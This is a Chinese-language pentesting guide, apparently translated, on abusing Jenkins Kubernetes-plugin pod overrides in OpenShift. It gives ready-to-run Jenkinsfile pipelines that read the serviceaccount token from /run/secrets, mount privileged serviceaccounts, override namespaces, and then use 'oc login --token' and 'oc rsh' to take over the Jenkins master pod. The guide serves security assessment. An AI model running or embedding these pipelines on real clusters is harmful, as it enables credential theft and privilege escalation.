OpenShift - Jenkins Build Pod Override

本页的原作者是 Fares

Jenkins的Kubernetes插件

该插件主要负责在Openshift/kubernetes集群中管理Jenkins的核心功能。官方文档在这里 它提供了一些功能,比如开发人员能够覆盖Jenkins构建pod的一些默认配置。

核心功能

该插件允许开发人员在适当的环境中构建其代码时具有灵活性。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

利用 Pod YAML 覆盖进行滥用

然而,它可以被滥用以使用任何可访问的镜像,比如 Kali Linux,并使用该镜像中预安装的工具执行任意命令。 在下面的示例中,我们可以窃取正在运行的 Pod 的 serviceaccount 令牌。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

一种不同的语法来实现相同的目标。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

覆盖 Pod 的命名空间示例

要覆盖 Pod 的命名空间,可以通过在 Jenkinsfile 中设置 metadata.namespace 属性来实现。以下是一个示例:

pipeline {
    agent any
    environment {
        NAMESPACE = 'desired-namespace'
    }
    stages {
        stage('Build') {
            steps {
                script {
                    openshift.withCluster() {
                        openshift.withProject(NAMESPACE) {
                            openshift.newBuild("--name=myapp", "--strategy=docker", "--dockerfile=Dockerfile", "--binary", "-n", NAMESPACE)
                        }
                    }
                }
            }
        }
    }
}
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

另一个示例尝试挂载一个基于其名称的serviceaccount(可能比默认的serviceaccount拥有更多权限,运行您的构建)。您可能需要首先猜测或枚举现有的serviceaccount。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

同样的技术也适用于尝试挂载一个秘密。这里的最终目标是弄清楚如何配置您的 pod 构建以有效地转向或获取特权。

深入了解

一旦您习惯于尝试操作它,请利用您对 Jenkins 和 Kubernetes/Openshift 的知识来查找配置错误/滥用。

请问自己以下问题:

  • 使用哪个服务账户来部署构建 pod?

  • 它具有哪些角色和权限?它能读取当前所在命名空间的秘密吗?

  • 我能进一步枚举其他构建 pod 吗?

  • 从一个被入侵的 sa,我能在主节点/pod 上执行命令吗?

  • 我能进一步枚举集群以转向其他地方吗?

  • 应用了哪个 SCC?

您可以找出要发出的 oc/kubectl 命令 这里这里

可能的权限提升/转向场景

假设在您的评估过程中,您发现所有 jenkins 构建都在一个名为 worker-ns 的命名空间中运行。您发现一个名为 default-sa 的默认服务账户被挂载到构建 pod 上,但它除了对一些资源具有读取访问权限外,并没有太多权限,但您能够识别出一个名为 master-sa 的现有服务账户。 还假设您已经在运行的构建容器内安装了 oc 命令。

通过下面的构建脚本,您可以控制 master-sa 服务账户并进一步枚举。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

根据您的访问权限,您可以选择继续从构建脚本攻击,或直接登录到运行中的集群中的 sa 账号:

oc login --token=$token --server=https://apiserver.com:port

如果这个SA有足够的权限(比如pod/exec),您还可以通过在主节点pod内执行命令来控制整个Jenkins实例,如果它正在同一个命名空间内运行,您可以通过其名称和必须挂载用于存储Jenkins数据的PVC(持久卷索赔)来轻松识别此pod。

oc rsh pod_name -c container_name

在这种情况下,如果主节点 pod 不在与工作节点相同的命名空间中运行,您可以尝试通过针对主命名空间的类似攻击。假设其称为 jenkins-master。请记住,serviceAccount master-sa 需要存在于 jenkins-master 命名空间中(并且可能不存在于 worker-ns 命名空间中)。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated